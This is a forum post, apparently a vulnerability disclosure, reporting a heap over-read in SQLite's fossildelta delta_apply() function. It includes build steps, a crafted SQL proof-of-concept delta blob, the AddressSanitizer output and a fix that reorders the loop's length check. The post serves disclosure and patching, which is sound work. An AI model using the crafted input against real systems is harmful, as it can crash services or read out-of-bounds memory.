Vuln95-76: fossildelta delta_apply() Heap Over-read via Non-NUL-terminated Delta Blob
(1) By ylwang (yuelinwang) on 2026-07-04 04:53:59 [source]
Summary
delta_apply() (ext/misc/fossildelta.c:582), reached from the delta_apply(X,D) SQL function, runs its command loop as while( *zDelta && lenDelta>0 ), dereferencing *zDelta before the lenDelta>0 length check. deltaApplyFunc (line 717) passes the sqlite3_value_blob() bytes straight in without NUL-terminating them, so a delta that consumes exactly to the end of the buffer makes the loop condition read 1 to 2 bytes past the blob (CWE-125). delta_output_size() (line 535) guards the identical pattern in the correct order (lenDelta<=0 first), confirming line 582 is the defect.
Reproduce
cd /data/ylwang/LargeScan/targets/sqlite
gcc -g -O0 -fsanitize=address -shared -I. -fPIC -o fossildelta.so ext/misc/fossildelta.c
vuln95.sql:
.load ./fossildelta.so
-- Delta layout (base-64 fossil digits; 'h'=68, 'd'=40, '4'=4, '0'=0):
-- "h\n" header, output size = 68 (>=0, passes delta_output_size)
-- "d:" + 40 'B' literal insert of 40 bytes (total=40)
-- "4@0" copy 4 bytes from src offset 0, NO trailing ',' (total=44<=68)
-- Source x'00000000' is 4 bytes so ofst+cnt = 4 <= lenSrc.
-- After the copy lenDelta=-1 and the loop re-reads *zDelta out of bounds.
SELECT typeof(delta_apply(
x'00000000',
unhex('680a643a42424242424242424242424242424242424242424242424242424242424242424242424242424242344030')
));
Run it:
export ASAN_OPTIONS=detect_leaks=0:abort_on_error=0
/data/ylwang/LargeScan/targets/sqlite/sqlite3 < vuln95.sql
ASAN reports a heap-buffer-overflow READ at the exact vulnerable line, 0 bytes to the right of the unhex/contextMalloc allocation:
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 delta_apply ext/misc/fossildelta.c:582
#1 deltaApplyFunc ext/misc/fossildelta.c:717
#2 sqlite3VdbeExec sqlite3.c:104828
#3 sqlite3Step ... sqlite3_step ... shell_exec ... main
0x506000000718 is located 0 bytes to the right of 56-byte region
allocated by thread T0 here:
#0 __interceptor_malloc
#1 sqlite3MemMalloc sqlite3.c:28239
... contextMalloc sqlite3.c:133859
... unhexFunc sqlite3.c:134779
SUMMARY: AddressSanitizer: heap-buffer-overflow ext/misc/fossildelta.c:582 in delta_apply
ASAN_OPTIONS=detect_leaks=0 only silences an unrelated end-of-run leak scan. The SEGV is a genuine heap out-of-bounds read on the real delta_apply execution path.
Fix
Test the length before dereferencing, matching the correct order already used by delta_output_size().
/* ext/misc/fossildelta.c delta_apply(): check lenDelta before *zDelta. */
while( lenDelta>0 && *zDelta ){
...
}